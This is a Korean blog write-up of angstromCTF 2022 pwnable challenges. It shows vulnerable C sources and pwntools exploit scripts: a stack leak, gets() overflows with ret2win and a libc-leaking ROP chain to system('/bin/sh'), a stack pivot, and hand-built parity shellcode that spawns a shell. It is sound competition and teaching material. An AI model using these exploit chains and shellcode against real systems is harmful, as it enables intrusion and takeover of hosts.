문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.7 pro 대회 정보 : https://ctftime.org/event/1588 (angstromCTF 2022) |
whatsmyname.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static void generate_name(char *str)
{
FILE *file = fopen("/dev/urandom","r");
fgets(str, 48, file);
fclose(file);
}
int main(){
char yourName[48];
char myName[48];
char guess[48];
setbuf(stdout, NULL);
generate_name(myName);
printf("Hi! What's your name? ");
int n = read(0, yourName, 48);
if (yourName[n-1] == '\n') yourName[n-1] = '\x00';
printf("Nice to meet you, %s!\n", yourName);
puts("Guess my name and you'll get a flag!");
scanf("%48s[^\n]", guess);
if (strncmp(myName, guess, 48) == 0){
char flag[128];
FILE *file = fopen("flag.txt","r");
if (!file) {
puts("Error: missing flag.txt.");
exit(1);
}
fgets(flag, 128, file);
puts(flag);
}
puts("Bye!");
return 0;
}
사실 제대로 안보고 그냥 이것저것 하다가 릭이 되어서 그냥 풀었다.
from pwn import *
p = remote('challs.actf.co', 31223)
#p = process('./whatsmyname')
pause()
p.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil('you,')
leak = p.recv(96)
print(leak[49:])
pause()
p.sendline(leak[49:])
wah.c
#include <stdio.h>
#include <stdlib.h>
void flag(){
char flag[128];
FILE *file = fopen("flag.txt","r");
if (!file) {
puts("Error: missing flag.txt.");
exit(1);
}
fgets(flag, 128, file);
puts(flag);
}
int main(){
setbuf(stdout, NULL);
gid_t gid = getegid();
setresgid(gid, gid, gid);
char cry[24];
printf("Cry: ");
gets(cry);
return 0;
}
gets? 오버플로우. 그냥 하면 됨
from pwn import *
p = remote('challs.actf.co', 31224)
#p = process('./wah')
e = ELF('./wah')
flag = e.symbols['flag']
print(flag)
payload = ''
payload += 'A' * 32
payload += 'B' * 0x8
#payload += 'C' * 0x8
payload += p64(flag)
pause()
p.send(payload)
p.interactive()
@_@ 이거 너무 귀엽다. 왼쪽 꺼 누르면 바이너리 주고 오른쪽 꺼 누르면 libc 준다.
익스코드 보면.. 눈치챘겠지만 rop하면 된다.
그리고 main 코드에서 전역변수 counter가 0보다 크면 종료시키는데 (main으로 계속 돌지 말라고 나름대로 방지한 것 같다.) 하지만 우리에겐 천하무적 gets가 있으니 count에 0 써주고 main으로 리턴해서 하려던거 계속 할 수 있다.
(gets 전에 ++counter해서 다행)
from pwn import *
#p = process('./whereami')
p = remote('challs.actf.co', 31222)
e = ELF('./whereami')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000401303
ret = 0x000000000040101a
count = 0x40406c
gets_got = e.got['gets']
gets_plt = e.plt['gets']
puts_plt = e.plt['puts']
main = e.symbols['main']
printf_plt = e.plt['printf']
oneshot = 0xe3b2e
payload = ''
payload += 'A' * 0x40
payload += 'B' * 8
#payload += 'C' * 8
payload += p64(pop_rdi)
payload += p64(gets_got)
payload += p64(puts_plt)
payload += p64(pop_rdi)
payload += p64(count)
payload += p64(gets_plt)
payload += p64(ret)
payload += p64(main)
pause()
p.recvuntil('you?')
p.sendline(payload)
p.sendline(p32(0))
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('leak = ' + hex(leak))
oneshot_addr = leak - libc.symbols['gets'] + oneshot
log.info('libc base = ' +hex(leak-libc.symbols['gets']))
log.info('oneshot = ' +hex(oneshot_addr))
libc_base = leak-libc.symbols['gets']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
log.info('system = ' + hex(system))
log.info('binsh = ' + hex(binsh))
payload = ''
payload += 'A' * 0x40
payload += 'B' * 8
#payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
#payload += p64(system-0x1)
payload += p64(system)
p.sendline(payload)
p.interactive()
이 문제는 ROP를 하면 된다.
하지만 문제 풀 때 printf에서 엄~~~~청 계~~~~~~~속 터졌다 ㅋㅋ ㅠㅠ
그래서 살짝 꼼수 썼다.
취약점은 gets로 인한 오버플로.
저기 음영친 곳 주소가 0x40129d이다. 저기로 뛰었음
from pwn import *
#p = process('./really_obnoxious_problem')
p = remote('challs.actf.co', 31225)
e = ELF('./really_obnoxious_problem')
ret = 0x000000000040101a
payload = ''
payload += 'A' * 0x40
payload += p64(e.bss()+0x100)
payload += p64(0x00000000040129D)
p.sendline('ZZZ')
pause()
p.sendline(payload)
p.interactive()
짝홀짝홀
쉘코드 실행시키기
이때 유의할 점은 syscall `0xf 0x5`은 홀홀 이기 때문에 쓸 수 없음
아이디어는.. read함수 호출시키고 쉘코드 입력으로 넣기
레지스터 조작해주면 된다.
nop // 0x90.. 짝으로 시작
push r12 // 0x401110 스택으로 ㄱㄱ
pop rcx // 0x401110 rcx로 ㄱㄱ
xchg rax, rcx // rcx랑 rax 교환 (나중에 0x401110을 0x4010f0(read)로 만들어 줘야지)
pop rdx // 레지스터만 가지고 조물조물하다가 read 세번째 인자가 겁나 커서 자꾸 터졌음 ㅠ 그래서 스택에서 적당한 값 있길래 가져옴
dec eax * 0x20 // 0x401110 (start) - 0x4010f0 (read) = 0x20
call rax // read 호출~
from pwn import *
#context.log_level = 'debug'
#p = process('./parity')
p = remote('challs.actf.co', 31226)
e = ELF('./parity')
payload = ''
payload += '\x90\x41\x54\x59\x48\x91\x5A'
payload += '\xff\xc8' * 32
payload += '\xFF\xD0'
print(payload)
pause()
p.sendafter('>', payload)
sh = ''
sh += '\x90' * 0x100
sh += '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
p.sendline(sh)
p.interactive()
'CTF > Write UPs' 카테고리의 다른 글
[2022 Hayyim CTF] warmup 풀이 (0) | 2022.02.25 |
---|---|
[Hspace Open CTF] beat arm 풀이 (32bit arm, return to csu) (0) | 2022.01.17 |
[THC CTF 2021] 내가 푼 문제들 풀이 (0) | 2021.06.17 |
[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting) (0) | 2021.06.17 |
[BCACTF 2.0 : binex] 내가 푼 문제들 풀이 (포넙 올클!) (예약글, 6/14 09:30 공개) (0) | 2021.06.14 |